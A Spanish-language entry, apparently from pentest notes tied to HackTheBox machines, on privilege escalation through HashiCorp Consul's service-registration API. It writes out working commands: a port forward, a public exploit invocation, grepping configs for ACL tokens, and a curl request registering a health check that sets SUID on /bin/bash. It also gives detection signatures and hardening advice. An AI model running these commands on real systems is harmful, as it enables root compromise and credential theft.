RCE in HashiCorp Consul (service registration)
Consul (HashiCorp) descubre y monitoriza servicios en una infraestructura. Su agente expone una API HTTP (por defecto en el puerto 8500) y, entre otras cosas, permite registrar servicios con chequeos de salud. El problema: un health check puede ser un script que el agente ejecuta, y el endpoint PUT /v1/agent/service/register no sanea ese campo, de modo que registrar un servicio con un check malicioso se traduce en ejecución de comandos en el host del agente (a menudo root, porque el agente suele correr como tal).
Como el agente escucha en localhost, lo habitual es llegar a él tras un reenvío de puertos desde la cuenta que ya controlamos. Si la API exige token ACL, hay que recuperarlo de la configuración local. Existen exploits públicos que automatizan el registro y el disparo del check (por ejemplo, owalid/consul-rce):
ssh -L 8500:127.0.0.1:8500 <user>@<ip> # exponer la API local
python3 consul_rce.py -th 127.0.0.1 -tp 8500 \
-ct <token-acl> -c "/bin/bash /tmp/tmp.sh" # tmp.sh: chmod u+s /bin/bash
/bin/bash -p # SUID + -p: shell de rootEl payload típico no es una reverse shell directa, sino algo que persista el privilegio: marcar /bin/bash como SUID y luego invocarlo con -p para conservar el EUID de root.
Sin exploit, el registro se hace a mano con curl (recuperando antes el token ACL de la config local):
grep -ri 'token' /etc/consul.d/ /opt/consul/ 2>/dev/null # localizar el token ACL
curl -s -X PUT http://127.0.0.1:8500/v1/agent/service/register \
-H "X-Consul-Token: <token-acl>" \
-d '{"Name":"pwn","Address":"127.0.0.1","check":{"Args":["/bin/bash","-c","chmod u+s /bin/bash"],"Interval":"10s"}}'
/bin/bash -pCómo detectarlo. La firma en los logs de Consul es un PUT /v1/agent/service/register cuyo cuerpo incluye un health check de tipo script ("args"/"script" con /bin/bash, chmod, curl), algo que un registro legítimo de servicio no lleva. La confirmación en el host es el proceso consul (agente) lanzando sh/bash como hijo al ejecutar el check (auditd/Sysmon for Linux sobre execve con ppid=consul), seguido del /bin/bash con bit SUID. Un agente con enable_script_checks=true es la exposición previa a auditar.
Defensa. Habilitar las ACL de Consul con deny por defecto, deshabilitar los checks de tipo script (enable_script_checks=false o usar enable_local_script_checks con cuidado), no exponer la API del agente y no ejecutar el agente como root si no es imprescindible.
Máquinas donde se aplica
- AmbassadorHackTheBox
- HealHackTheBox